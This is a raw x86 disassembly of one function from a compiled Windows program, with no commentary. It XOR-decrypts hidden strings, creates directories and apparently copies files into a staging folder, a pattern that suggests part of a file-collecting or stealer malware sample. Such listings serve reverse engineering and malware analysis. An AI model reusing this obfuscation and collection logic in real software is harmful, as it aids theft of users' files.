mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x46
call fcn.00402af0
mov ecx, dword [ebp - 0xb0]
push eax
call fcn.00483b70
lea ecx, [ebp - 0x1e8]
push ecx
mov ecx, eax
call fcn.0047cf60
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0x1e8]
call fcn.0047d5c0
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x26
call fcn.0047d5c0
lea ecx, [ebp - 0x294]
call fcn.0047cdb0
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x294]
call fcn.004810b0
test al, al
je 0x43f424
movaps xmm0, xmmword [0x543660]
xor ecx, ecx
mov dword [ebp - 0x37], 0x8f98bdb7
mov word [ebp - 0x33], 0x8481
mov byte [ebp - 0x31], 0x84
movups xmmword [ebp - 0x30], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xe
jb 0x43fc90
lea eax, [ebp - 0x37]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x29], 0
call fcn.00402a50
or edi, 0x10
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x47
call fcn.00402af0
push eax
lea edx, [ebx + 0x20]
lea ecx, [ebp - 0x2ac]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x49
call fcn.004029b0
lea ecx, [ebp - 0x2ac]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x43fd1f
lea ecx, [ebp - 0x2ac]
call fcn.00402af0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x440a75
xorps xmm0, xmm0
mov byte [ebp - 0x2c0], 0
lea ecx, [ebp - 0x530]
movups xmmword [ebp - 0x2e0], xmm0
movups xmmword [ebp - 0x2d0], xmm0
call fcn.0049b9e0
lea ecx, [ebp - 0x638]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fd50
sub ecx, edx
lea eax, [ebp - 0x638]
push ecx
push eax
lea ecx, [ebp - 0x530]
call fcn.0049b7e0
push 0
lea ecx, [ebp - 0x530]
call fcn.0049b8b0
cmp byte [ebp - 0x494], 0
je 0x43fdaa
movups xmm0, xmmword [ebp - 0x483]
mov al, byte [ebp - 0x463]
mov byte [ebp - 0x2c0], al
movups xmmword [ebp - 0x2e0], xmm0
movups xmm0, xmmword [ebp - 0x473]
movups xmmword [ebp - 0x2d0], xmm0
xorps xmm0, xmm0
mov byte [ebp - 0x1c7], 0xb4
movq qword [ebp - 0x1c6], xmm0
xor ecx, ecx
mov byte [ebp - 0x1be], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1c7], al
inc ecx
cmp ecx, 1
jb 0x43fdc5
lea eax, [ebp - 0x1c7]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x420]
mov byte [ebp - 0x1c6], 0
call fcn.00402a50
or edi, 0x1000000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0x4a
call fcn.00402af0
xorps xmm0, xmm0
mov byte [ebp - 0x1bd], 0xb7
mov esi, eax
movq qword [ebp - 0x1bc], xmm0
mov byte [ebp - 0x1b4], 0
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1bd], al
inc ecx
cmp ecx, 1
jb 0x43fe30
lea eax, [ebp - 0x1bd]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x408]
mov byte [ebp - 0x1bc], 0
call fcn.00402a50
or edi, 0x800000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x408]
mov byte [ebp - 4], 0x4b
call fcn.00402af0
push eax
lea edx, [ebp - 0x2ac]
lea ecx, [ebp - 0x460]
call fcn.004838a0
add esp, 4
lea ecx, [ebx + 0x38]
mov byte [ebp - 4], 0x4c
push ecx
mov edx, eax
lea ecx, [ebp - 0x448]
call fcn.00483ac0
add esp, 4
mov edx, eax
mov ecx, esi
mov byte [ebp - 4], 0x4d
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43feb3
sub ecx, dword [ebp - 0x1c]
push ecx
push esi
mov ecx, edx
call fcn.00482480
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00402a00
or edi, 0x100000
mov dword [ebp - 0x18], edi
lea eax, [ebp - 0x2e0]
mov byte [ebp - 4], 0x4e
push eax
lea edx, [ebp - 0x3f0]
lea ecx, [ebp - 0x134]
call fcn.00483900
add esp, 4
lea ecx, [ebp - 0x3f0]
call fcn.004029b0
lea ecx, [ebp - 0x448]
call fcn.004029b0
lea ecx, [ebp - 0x460]
call fcn.004029b0
lea ecx, [ebp - 0x408]
call fcn.004029b0
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0x54
call fcn.004029b0
lea ecx, [ebp - 0x134]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x43ff67
lea ecx, [ebp - 0x134]
call fcn.00402af0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x440a6a
movaps xmm0, xmmword [0x543800]
xor ecx, ecx
mov byte [ebp - 0x5b], 0xb7
movups xmmword [ebp - 0x5a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 8
jb 0x43ff78
lea eax, [ebp - 0x5b]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x53], 0
call fcn.00402a50
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x55
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x26c]
mov ecx, esp
push eax
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x54
call fcn.004029b0
cmp byte [ebp - 0x11], 0
je 0x44021b
xorps xmm0, xmm0
mov word [ebp - 0x19d], 0x8e9c
movq qword [ebp - 0x19b], xmm0
xor ecx, ecx
mov byte [ebp - 0x193], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x19d], al
inc ecx
cmp ecx, 2
jb 0x440003
lea eax, [ebp - 0x19d]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x19b], 0
call fcn.00402a50
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x56
call fcn.00402af0
movaps xmm0, xmmword [0x543800]
mov esi, eax
mov byte [ebp - 0x5b], 0xb7
xor ecx, ecx
movups xmmword [ebp - 0x5a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 8
jb 0x440055
lea eax, [ebp - 0x5b]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x53], 0
call fcn.00402a50
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x57
call fcn.00402af0
push eax
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0xec]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0xec]
mov esi, eax
mov dword [ebp - 0x1c], esi
call fcn.004029b0
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x54
call fcn.004029b0
test esi, esi
je 0x44021b
movaps xmm0, xmmword [0x543930]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov byte [ebp - 0x31], 0xb7
movaps xmm0, xmmword [0x543800]
movups xmmword [ebp - 0x30], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jb 0x440100
lea eax, [ebp - 0x48]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x41], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x20], esp
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov byte [ebp - 4], 0x59
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 8
jb 0x440150
lea eax, [ebp - 0x31]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x250]
mov byte [ebp - 0x29], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x250]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
mov ecx, esi
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x430]
mov byte [ebp - 4], 0x5b
call fcn.0043e320
add esp, 0x30
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x5c
push ecx
mov ecx, eax
call fcn.0047d350
lea ecx, [ebp - 0x430]
call fcn.0047d5c0
lea ecx, [ebp - 0x250]
call fcn.004029b0
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x54
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029a0
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0x1c]
push esi
push 1
push eax
call fcn.00505868
push dword [ebp - 0x1c]
call fcn.005012e8
add esp, 0x14
lea ecx, [ebp - 0x7c]
call fcn.004029b0
movaps xmm0, xmmword [0x5437f0]
xor ecx, ecx
mov byte [ebp - 0x31], 0xb7
movups xmmword [ebp - 0x30], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 8
jb 0x440230
lea eax, [ebp - 0x31]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x29], 0
call fcn.00402a50
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x5d
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x26c]
mov ecx, esp
push eax
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x54
call fcn.004029b0
cmp byte [ebp - 0x11], 0
je 0x4404db
xorps xmm0, xmm0
mov word [ebp - 0x192], 0x8e9c
movq qword [ebp - 0x190], xmm0
xor ecx, ecx
mov byte [ebp - 0x188], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x192], al
inc ecx
cmp ecx, 2
jb 0x4402c0
lea eax, [ebp - 0x192]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x250]
mov byte [ebp - 0x190], 0
call fcn.00402a50
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x5e
call fcn.00402af0
movaps xmm0, xmmword [0x5437f0]
mov esi, eax
mov byte [ebp - 0x31], 0xb7
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 8
jb 0x440312
lea eax, [ebp - 0x31]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x29], 0
call fcn.00402a50
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x5f
call fcn.00402af0
push eax
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0xec]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0xec]
mov esi, eax
mov dword [ebp - 0x1c], esi
call fcn.004029b0
lea ecx, [ebp - 0xcc]
call fcn.004029b0
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x54
call fcn.004029b0
test esi, esi
je 0x4404db
movaps xmm0, xmmword [0x543920]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov byte [ebp - 0x5b], 0xb7
movaps xmm0, xmmword [0x5437f0]
movups xmmword [ebp - 0x5a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jb 0x4403c0
lea eax, [ebp - 0x48]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x41], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x9c], esp
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov byte [ebp - 4], 0x61
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 8
jb 0x440410
lea eax, [ebp - 0x5b]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x53], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x238]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
mov ecx, esi
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x3a0]
mov byte [ebp - 4], 0x63
call fcn.0043e320
add esp, 0x30
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x64
push ecx
mov ecx, eax
call fcn.0047d350
lea ecx, [ebp - 0x3a0]
call fcn.0047d5c0
lea ecx, [ebp - 0x238]
call fcn.004029b0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x54
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029a0
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0x1c]
push esi
push 1
push eax
call fcn.00505868
push dword [ebp - 0x1c]
call fcn.005012e8
add esp, 0x14
lea ecx, [ebp - 0x7c]
call fcn.004029b0
movaps xmm0, xmmword [0x543860]
xor ecx, ecx
mov word [ebp - 0x32], 0x8fb7
movups xmmword [ebp - 0x30], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 9
jb 0x4404f0
lea eax, [ebp - 0x32]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x29], 0
call fcn.00402a50
or edi, 0x2000000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x65
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x26c]
mov ecx, esp
push eax
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x54
call fcn.004029b0
cmp byte [ebp - 0x11], 0
je 0x4407a2
xorps xmm0, xmm0
mov word [ebp - 0x1b3], 0x8e9c
movq qword [ebp - 0x1b1], xmm0
xor ecx, ecx
mov byte [ebp - 0x1a9], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1b3], al
inc ecx
cmp ecx, 2
jb 0x440584
lea eax, [ebp - 0x1b3]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x250]
mov byte [ebp - 0x1b1], 0
call fcn.00402a50
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x66
call fcn.00402af0
movaps xmm0, xmmword [0x543860]
mov esi, eax
mov word [ebp - 0x5c], 0x8fb7
xor ecx, ecx
movups xmmword [ebp - 0x5a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 9
jb 0x4405d8
lea eax, [ebp - 0x5c]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x53], 0
call fcn.00402a50
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x67
call fcn.00402af0
push eax
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0xec]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0xec]
mov esi, eax
mov dword [ebp - 0x1c], esi
call fcn.004029b0
lea ecx, [ebp - 0xcc]
call fcn.004029b0
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x54
call fcn.004029b0
test esi, esi
je 0x4407a2
movaps xmm0, xmmword [0x5437e0]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x31], 0x88
movaps xmm0, xmmword [0x543860]
mov word [ebp - 0x4a], 0x8fb7
movups xmmword [ebp - 0x48], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 8
jb 0x440688
lea eax, [ebp - 0x31]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x29], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x9c], esp
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov byte [ebp - 4], 0x69
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 9
jb 0x4406d7
lea eax, [ebp - 0x4a]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x41], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x238]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
mov ecx, esi
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x3b0]
mov byte [ebp - 4], 0x6b
call fcn.0043e320
add esp, 0x30
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x6c
push ecx
mov ecx, eax
call fcn.0047d350
lea ecx, [ebp - 0x3b0]
call fcn.0047d5c0
lea ecx, [ebp - 0x238]
call fcn.004029b0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x54
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029a0
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0x1c]
push esi
push 1
push eax
call fcn.00505868
push dword [ebp - 0x1c]
call fcn.005012e8
add esp, 0x14
lea ecx, [ebp - 0x7c]
call fcn.004029b0
movaps xmm0, xmmword [0x543870]
xor ecx, ecx
mov word [ebp - 0x32], 0x8fb7
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 9
jb 0x4407b5
lea eax, [ebp - 0x32]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x29], 0
call fcn.00402a50
or edi, 0x10000000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x6d
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x26c]
mov ecx, esp
push eax
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x54
call fcn.004029b0
cmp byte [ebp - 0x11], 0
je 0x440a6a
xorps xmm0, xmm0
mov word [ebp - 0x187], 0x8e9c
movq qword [ebp - 0x185], xmm0
xor ecx, ecx
mov byte [ebp - 0x17d], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x187], al
inc ecx
cmp ecx, 2
jb 0x440850
lea eax, [ebp - 0x187]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x250]
mov byte [ebp - 0x185], 0
call fcn.00402a50
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x6e
call fcn.00402af0
movaps xmm0, xmmword [0x543870]
mov esi, eax
mov word [ebp - 0x5c], 0x8fb7
xor ecx, ecx
movups xmmword [ebp - 0x5a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 9
jb 0x4408a4
lea eax, [ebp - 0x5c]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x53], 0
call fcn.00402a50
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x6f
call fcn.00402af0
push eax
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0xec]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0xec]
mov esi, eax
mov dword [ebp - 0x1c], esi
call fcn.004029b0
lea ecx, [ebp - 0xcc]
call fcn.004029b0
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x54
call fcn.004029b0
test esi, esi
je 0x440a6a
movaps xmm0, xmmword [0x5437d0]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x31], 0x88
movaps xmm0, xmmword [0x543870]
mov word [ebp - 0x4a], 0x8fb7
movups xmmword [ebp - 0x48], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 8
jb 0x440954
lea eax, [ebp - 0x31]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x29], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x9c], esp
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov byte [ebp - 4], 0x71
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 9
jb 0x4409a3
lea eax, [ebp - 0x4a]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x41], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x238]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
mov ecx, esi
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x3d8]
mov byte [ebp - 4], 0x73
call fcn.0043e320
add esp, 0x30
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x74
push ecx
mov ecx, eax
call fcn.0047d350
lea ecx, [ebp - 0x3d8]
call fcn.0047d5c0
lea ecx, [ebp - 0x238]
call fcn.004029b0
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029a0
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.00402af0
push dword [ebp - 0x1c]
push esi
push 1
push eax
call fcn.00505868
push dword [ebp - 0x1c]
call fcn.005012e8
add esp, 0x14
lea ecx, [ebp - 0x7c]
call fcn.004029b0
lea ecx, [ebp - 0x134]
call fcn.004029b0
lea ecx, [ebp - 0x2ac]
call fcn.004029b0
lea ecx, [ebp - 0x308]
call fcn.0047d5c0
lea ecx, [ebp - 0x2f8]
call fcn.004029b0
lea ecx, [ebp - 0x284]
call fcn.004029b0
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 0xa
call fcn.004029b0
mov esi, dword [ebp - 0xd0]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0xd0], esi
cmp byte [esi], 0
jne 0x43eb60
lea ecx, [ebp - 0x320]
call fcn.004029b0
lea ecx, [ebp - 0x338]
call fcn.004029b0
lea ecx, [ebx + 8]
call fcn.004029b0
lea ecx, [ebx + 0x20]
call fcn.004029b0
lea ecx, [ebx + 0x38]
call fcn.004029b0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret